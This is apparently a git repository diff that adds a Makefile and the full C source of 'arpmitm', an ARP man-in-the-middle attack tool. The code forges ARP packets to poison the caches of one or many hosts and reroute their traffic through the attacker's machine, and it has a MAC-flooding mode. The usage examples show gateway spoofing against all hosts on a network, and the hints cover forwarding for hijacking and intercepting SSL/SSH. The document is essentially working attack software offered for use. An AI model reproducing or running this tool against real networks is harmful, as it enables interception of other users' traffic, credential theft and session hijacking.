summaryrefslogtreecommitdiff
path: root/other/arpmitm
diff options
context:
space:
mode:
Diffstat (limited to 'other/arpmitm')
-rw-r--r--other/arpmitm/Makefile13
-rw-r--r--other/arpmitm/arpmitm.c584
2 files changed, 597 insertions, 0 deletions
diff --git a/other/arpmitm/Makefile b/other/arpmitm/Makefile
new file mode 100644
index 0000000..603c4f2
--- /dev/null
+++ b/other/arpmitm/Makefile
@@ -0,0 +1,13 @@
1CC=gcc
2CFLAGS=-Wall -O2
3LIBS=-lm
4LIBNET_DEFS=`libnet-config --defines`
5LIBNET_LIBS=`libnet-config --libs`
6
7all:
8
9 $(CC) $(CFLAGS) $(LIBNET_DEFS) arpmitm.c -o arpmitm $(LIBS) $(LIBNET_LIBS)
10 strip arpmitm
11
12clean:
13 rm -vf arpmitm
diff --git a/other/arpmitm/arpmitm.c b/other/arpmitm/arpmitm.c
new file mode 100644
index 0000000..99362ab
--- /dev/null
+++ b/other/arpmitm/arpmitm.c
@@ -0,0 +1,584 @@
1/*
2 * ARP MITM attack tool. (c) xdr 2000
3 * rewritten & enhanced by skyper 2001
4 * Idea from scut's arptool - Requires Libnet 1.00.
5 *
6 * Changes:
7 * skyper : - rewritten
8 * - macoff
9 * - ip-list file input/output,
10 * <ip1>[:<mac1>]
11 * <ip2>[:<mac2>]
12 * ...
13 * - asymmetric arpmim support (usefull for ssl/sshd mim)
14 * - 1:N and n:N arpmim (experimental)
15 * - ARP_REQUEST/REPLY (see informationals 001)
16 * [UPDATE: same techniq works against obsd2.8
17 * solaris 7+8, hpux10.20, hpux11.00, fbsd4.2, linux 2.2]
18 *
19 * Features:
20 * - classic mim: redirect data from 1 host to 1 host via your host.
21 * - redirect data from n hosts to 1 host via your host with specific ip:mac.
22 * - redirect data from N/all hosts to 1 host via your host with just
23 * 1 packet every 10 seconds. We use broadcast mac with unicast
24 * arp-information in the packet.
25 * - redirect communication from n hosts to n hosts via your host
26 * with just n packets (and _not_ n*n as most(all?) existing arpmim tools.
27 *
28 * Hints:
29 * - dont forgett to enable forwarding:
30 * "echo 1 >/proc/sys/net/ipv4/ip_forward"
31 * - dont use NAT/connection tracking while hijaking.
32 * - configure your firewall (input, output, forward rules)
33 */
34
35#include <stdio.h>
36#include <stdlib.h>
37#include <stdarg.h>
38#include <unistd.h>
39#include <signal.h>
40#include <math.h>
41#include <string.h>
42#include <libnet.h>
43
44#define LINK_DEV "eth0"
45#define MAXBUFSIZE 1024
46#define RECACHE_TIME 10
47#define int_ntoa(x) inet_ntoa(*((struct in_addr *)&(x)))
48#define OPT_ASYM 0x01
49#define OPT_FILE 0x02
50#define OPT_REVASYM 0x04
51#define OPT_MACOFF 0x08
52
53static char rcs_id[] = "$Id: arpmitm.c,v 1.4 2001/03/29 17:13:16 skyper Exp $";
54
55struct arp_mitm {
56 unsigned char ether_src[6];
57 unsigned char ether_dst[6];
58 unsigned long s_addr;
59 unsigned long d_addr;
60};
61
62struct _ipmac {
63 unsigned char mac[6];
64 unsigned long ip;
65};
66
67struct _opt {
68 unsigned long int pwait;
69 u_short arpop;
70 struct _ipmac trgt;
71 int verb;
72 unsigned char mymac[6];
73 unsigned char flags;
74 char *ldev;
75 struct libnet_link_int *link;
76 unsigned long int (*initipmac) (void *);
77 unsigned long int (*getnextipmac) (void *);
78 unsigned long int (*resetipmac) (void *);
79} opt;
80
81struct _avlopt {
82 int pos;
83 int len;
84 char **argvlist;
85} avl;
86
87struct _fl {
88 FILE *fd;
89} fl;
90
91/*
92 * spread mode ip structure. all ip infos in HBO
93 */
94struct _srdnfo {
95 unsigned long ip_offset;
96 unsigned long ip_blklen;
97 unsigned long ip_pos;
98 unsigned long start_ip;
99 unsigned long end_ip;
100};
101
102void parse_mac(char *, unsigned char *);
103u_long gennext_spreadip(struct _srdnfo *);
104int init_spreadset(struct _srdnfo *, u_long, u_long);
105int str2ipmac(char *, struct _ipmac *);
106void die(int, char *, ...);
107
108
109
110static unsigned char *pkt;
111
112int
113dummy()
114{
115 return (0);
116}
117
118unsigned long int
119init_argvlist(char *argv[])
120{
121 avl.argvlist = argv;
122 avl.len = 0;
123 avl.pos = 0;
124
125 if (avl.argvlist == NULL)
126 return (-1);
127
128 while (avl.argvlist[avl.len] != NULL)
129 avl.len++;
130
131 return (0);
132}
133
134unsigned long int
135getnext_argvlist(struct _ipmac *ipmac)
136{
137 if (avl.pos >= avl.len)
138 return(-1);
139
140 str2ipmac(avl.argvlist[avl.pos++], ipmac);
141 return (0);
142}
143
144unsigned long int
145reset_argvlist()
146{
147 if (opt.verb > 1)
148 printf("restarting from the beginning.\n");
149
150 avl.pos = 0;
151 return (0);
152}
153
154unsigned long int
155getnext_filelist(struct _ipmac *ipmac)
156{
157 char buf[128];
158
159 if (fgets(buf, sizeof(buf)-1, fl.fd) == NULL)
160 return (-1);
161
162 str2ipmac(buf, ipmac);
163 return (0);
164}
165
166unsigned long int
167reset_filelist()
168{
169 if (opt.verb > 1)
170 printf("reached eof. restarting filelist\n");
171
172 return (fseek(fl.fd, 0L, SEEK_SET));
173}
174
175unsigned long int
176getnext_random(struct _ipmac *ipmac)
177{
178 static char i = 0;
179
180 if (i == 0)
181 {
182 srand((int)time(NULL));
183 i = 1;
184 }
185
186 opt.trgt.ip = rand();
187 ipmac->ip = rand(); /* we honestly dont care about the */
188 /* first 2 bytes of the mac.... */
189 memcpy(ipmac->mac+2, (char *)&(ipmac->ip), 4);
190 memcpy(opt.trgt.mac+2, (char *)&(opt.trgt.ip), 4);
191 memcpy(opt.mymac, ipmac->mac, 6);
192
193 return (0);
194}
195
196void
197init_vars()
198{
199 opt.pwait = 4000;
200 opt.arpop = ARPOP_REPLY;
201 opt.flags = 0;
202 opt.verb = 0;
203 opt.ldev = LINK_DEV;
204 opt.initipmac = (void *) init_argvlist;
205 opt.getnextipmac = (void *) getnext_argvlist;
206 opt.resetipmac = (void *) reset_argvlist;
207}
208
209
210/*
211 * this is for sure not reentrant.
212 * returns mac-string from mac
213 * NULL on error
214 */
215static char *
216mac2str(unsigned char m[6])
217{
218 static char buf[32];
219
220 sprintf(buf, "%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x", m[0], m[1], m[2],
221 m[3], m[4], m[5]);
222 return (buf);
223}
224
225/*
226 * convert "<ip>:<mac> touple to ipmac struct
227 * Set "ff:ff:ff:ff:ff:ff" if no mac is given.
228 * return -1 on failure, 0 on success
229 */
230int
231str2ipmac(char *str, struct _ipmac *ipmac)
232{
233 char *ptr;
234 char str2[128];
235
236 if (ipmac == NULL)
237 return (-1);
238 if (str == NULL)
239 return (-1);
240
241 strncpy(str2, str, sizeof(str2)-1);
242 str2[sizeof(str2)-1] = '\0';
243 if ((ptr = strchr(str2, ':')) != NULL)
244 {
245 *ptr++ = '\0';
246 parse_mac(ptr, ipmac->mac);
247 } else {
248 memcpy(ipmac->mac, "\xff\xff\xff\xff\xff\xff", 6);
249 }
250
251 ipmac->ip = inet_addr(str2);
252
253 return (0);
254}
255
256void
257usage(int code, char *string)
258{
259 fprintf(stderr, "ERROR: %s\n", string);
260 fprintf(stderr,
261"\n"
262"Usage:\n"
263"arpmim [OPTION] <your mac> <targetip[:targetmac] <ip1[:mac1]> ...\n"
264"[Tell ip1, ip2, ... ipN that targetip has <your mac> and\n"
265" tell targetip that ip1, ip2, ... ipN has <your mac>]\n\n"
266"Options:\n"
267" -i <device> : ethernet device [default=eth0]\n"
268" -l <iprange> : generate ip-list [73.50.0.0-73.50.31.255]\n"
269" -f <file> : read ip's[/:mac's] from file\n"
270" -w <n ms> : wait n ms between each packet [default=4sec]\n"
271" -m : macoff (macflood, elite switch -> lame hub)\n"
272" -r : use ARPOP_REQUEST [default=ARPOP_REPLY]\n"
273" -a : asymmetric\n"
274" -A : reverse asymmetric\n"
275" -v : verbose output [-vv..vv for more]\n"
276"\nExamples:\n"
277"Classic (1:1, gate=10.0.255.254, luser=10.0.119.119):\n"
278"arpmim -v 00:02:13:37:73:50 10.0.255.254:11:11:22:22:33:33 \\\n"
279" 10.0.119.119:44:44:55:55:66:66\n"
280"\n"
281"Advanced (1:N, gate=10.0.255.254, asymmetric _only_):\n"
282"arpmim -A -v 00:02:13:37:73:50 255.255.255.255 10.0.255.254\n"
283"[tell everyone that 10.0.255.254 has 00:02:13:37:73:50]\n"
284"\n"
285"Elite (n:N):\n"
286"arpmim -A -v 00:02:13:37:73:50 255.255.255.255 10.0.0.1 10.0.0.2 10.0.0.3 \\\n"
287" 10.0.0.4 10.0.0.5 10.0.0.6\n"
288"[tell 10.0.0.1,..10.0.0.6 that 10.0.0.1,..10.0.0.6 has 00:02:13:37:73:50]\n");
289
290 exit(code);
291}
292
293/*
294 * write ip's to fd, one per line.
295 * return 0 on success, -1 on error
296 */
297int
298write_iprange(FILE *fd, char *str)
299{
300 u_long ip;
301 char *ptr;
302 struct _srdnfo srdnfo;
303 char str2[128];
304
305 strncpy(str2, str, sizeof(str2)-1);
306 str2[sizeof(str2)-1] = '\0';
307
308 if ((ptr = strchr(str2, '-')) == NULL)
309 return (-1);
310
311 *ptr++ = '\0';
312
313 srdnfo.start_ip = ntohl(inet_addr(str2));
314 srdnfo.end_ip = ntohl(inet_addr(ptr));
315 if (init_spreadset(&srdnfo, srdnfo.start_ip, srdnfo.end_ip) != 0)
316 return (-1);
317
318 while ((ip = gennext_spreadip(&srdnfo)) != -1)
319 printf("%s\n", int_ntoa(ip));
320
321 return (0);
322}
323
324
325void
326do_opt(int argc, char *argv[])
327{
328 extern char *optarg;
329 extern int optind;
330 int c;
331
332 while ((c = getopt (argc, argv, "w:i:l:f:mrAav")) != -1)
333 {
334 switch (c)
335 {
336 case 'r':
337 opt.arpop = ARPOP_REQUEST;
338 break;
339 case 'w':
340 opt.pwait = strtoul (optarg, NULL, 10);
341 break;
342 case 'i':
343 opt.ldev = optarg;
344 break;
345 case 'l':
346 if (write_iprange(stdout, optarg) != 0)
347 die (EXIT_FAILURE, "iprage? %s", optarg);
348 break;
349 case 'A':
350 opt.flags |= OPT_REVASYM;
351 break;
352 case 'a':
353 opt.flags |= OPT_ASYM;
354 break;
355 case 'v':
356 opt.verb++;
357 break;
358 case 'f':
359 if ((fl.fd = fopen(optarg, "r")) == NULL)
360 die (EXIT_FAILURE, "fopen %s", optarg);
361
362 opt.initipmac = (void *) dummy;
363 opt.getnextipmac = (void *) getnext_filelist;
364 opt.resetipmac = (void *) reset_filelist;
365 break;
366 case 'm':
367 opt.flags |= OPT_MACOFF;
368 opt.initipmac = (void *) dummy;
369 opt.getnextipmac = (void *) getnext_random;
370 opt.resetipmac = (void *) dummy;
371 break;
372 case ':':
373 usage(EXIT_FAILURE, "parameter missing");
374 break; /* this should never happen */
375 default:
376 usage(EXIT_FAILURE, "unknown option");
377 break;
378 }
379 }
380
381 if (opt.flags & OPT_MACOFF)
382 return;
383
384 if (argv[optind] != NULL)
385 parse_mac(argv[optind++], opt.mymac);
386 else
387 die (EXIT_FAILURE, "you must specifiy your own mac.");
388
389 if (argv[optind] != NULL)
390 str2ipmac(argv[optind++], &opt.trgt);
391 else
392 die (EXIT_FAILURE, "no target given.");
393
394 opt.initipmac(&argv[optind]);
395
396}
397
398void cleanup(int ret)
399{
400 fprintf(stderr, "exiting...\n");
401 libnet_destroy_packet(&pkt);
402 exit(ret);
403}
404
405void
406die(int code, char *fmt, ...)
407{
408 va_list ap;
409 char buf[512];
410
411 va_start (ap, fmt);
412 vsnprintf (buf, sizeof (buf) -1, fmt, ap);
413 va_end (ap);
414 fprintf(stderr, "ERROR: %s\n", buf);
415
416 cleanup(code);
417}
418
419void banner( void )
420{
421 printf("\n/*\n"
422 " * ARP MITM attack tool. (c) xdr 2000\n"
423 " * rewritten & enhanced by skyper 2001\n"
424 " * %s\n"
425 " */\n", rcs_id);
426 if (opt.verb > 5)
427 printf("harharhar. PRETTY VERBOSE now you evil hacker!\n");
428}
429
430/*
431 * get next ip in spread-mode
432 * return NBO ip or -1 on error or when done
433 */
434u_long
435gennext_spreadip(struct _srdnfo *srdnfo)
436{
437 u_long pos = srdnfo->ip_pos;
438
439 if ((srdnfo->ip_offset + 1 >= srdnfo->ip_blklen)
440 && (srdnfo->ip_pos > srdnfo->end_ip))
441 return (-1);
442
443 if ((srdnfo->ip_pos + srdnfo->ip_blklen > srdnfo->end_ip)
444 && (srdnfo->ip_offset + 1 < srdnfo->ip_blklen))
445 srdnfo->ip_pos = srdnfo->start_ip + (++srdnfo->ip_offset);
446 else
447 srdnfo->ip_pos += srdnfo->ip_blklen;
448
449 return (htonl (pos));
450}
451
452/*
453 * init spreadset, ip's in HBO
454 * return 0 on success, -1 on error
455 */
456int
457init_spreadset(struct _srdnfo *srdnfo, u_long start_ip, u_long end_ip)
458{
459 if (srdnfo == NULL)
460 return (-1);
461
462 if (start_ip >= end_ip)
463 return (-1);
464
465 srdnfo->start_ip = start_ip;
466 srdnfo->ip_pos = srdnfo->start_ip;
467 srdnfo->end_ip = end_ip;
468 srdnfo->ip_blklen = (u_long) sqrt ((double)(end_ip - start_ip));
469 if (srdnfo->ip_blklen > 100) /* range is 100^2 in size */
470 srdnfo->ip_blklen = 257 + srdnfo->ip_blklen * 0.2;
471
472 srdnfo->ip_offset = 0;
473
474 return (0);
475}
476
477void parse_mac(char *mac_string, unsigned char *mac)
478{
479 unsigned int tmp[6];
480 int i;
481
482 sscanf(mac_string, "%2x:%2x:%2x:%2x:%2x:%2x",
483 &tmp[0], &tmp[1], &tmp[2], &tmp[3], &tmp[4], &tmp[5]);
484
485 for(i = 0;i < 6;i++) mac[i] = tmp[i];
486}
487
488
489/*
490 * tell 'dst' that I'M src
491 * return 0 on success
492 */
493int
494do_arpmim(char *mymac, struct _ipmac *src, struct _ipmac *dst)
495{
496 libnet_build_ethernet(dst->mac,
497 mymac,
498 ETHERTYPE_ARP, NULL, 0, pkt);
499
500 libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP,
501 6, 4, opt.arpop,
502 mymac,
503 (unsigned char *)&src->ip,
504 dst->mac,
505 (unsigned char *)&dst->ip,
506 NULL, 0, pkt + LIBNET_ETH_H);
507
508 libnet_write_link_layer(opt.link, opt.ldev, pkt,
509 LIBNET_ETH_H + LIBNET_ARP_H);
510 return (0);
511
512}
513void
514print_amitm(struct _ipmac *ipmac0, struct _ipmac *ipmac)
515{
516 if (opt.verb)
517 {
518 printf("Hi %s:%s, ", int_ntoa(ipmac->ip),
519 mac2str(ipmac->mac));
520 printf("%s is at %s\n", int_ntoa(ipmac0->ip),
521 mac2str(opt.mymac));
522 }
523}
524
525int
526main(int argc, char *argv[])
527{
528 char error_buf[MAXBUFSIZE + 1];
529 int i;
530 unsigned short c = 0;
531 struct _ipmac ipmac;
532
533 init_vars();
534 do_opt(argc, argv);
535 if (opt.initipmac == NULL)
536 usage(0, "not enough parameters");
537
538 banner();
539
540 if(libnet_init_packet(LIBNET_ETH_H + LIBNET_ARP_H, &pkt) == -1)
541 die(EXIT_FAILURE, "libnet_init_packet failed.");
542
543 if((opt.link = libnet_open_link_interface(opt.ldev, error_buf)) == NULL)
544 die(EXIT_FAILURE, "libnet_open_link_interface failed: %s.",
545 error_buf);
546
547 signal(SIGINT, cleanup);
548 signal(SIGKILL, cleanup);
549
550 c = 0;
551 i = 0;
552 while (1)
553 {
554
555 if (opt.getnextipmac(&ipmac) == -1)
556 {
557 if (opt.resetipmac(NULL) != 0)
558 die(EXIT_FAILURE, "unable to reset ipmac list");
559
560 opt.getnextipmac(&ipmac);
561 }
562
563 if (!(opt.flags & OPT_REVASYM))
564 {
565 if (opt.verb)
566 print_amitm(&opt.trgt, &ipmac);
567 do_arpmim(opt.mymac, &opt.trgt, &ipmac);
568 }
569
570 if (!(opt.flags & OPT_ASYM))
571 {
572 usleep(3000); /* 0.03 seconds */
573 if (opt.verb)
574 print_amitm(&ipmac, &opt.trgt);
575 do_arpmim(opt.mymac, &ipmac, &opt.trgt);
576 }
577
578 usleep(opt.pwait * 1000);
579 }
580
581 exit (EXIT_SUCCESS);
582 return (EXIT_SUCCESS);
583}
584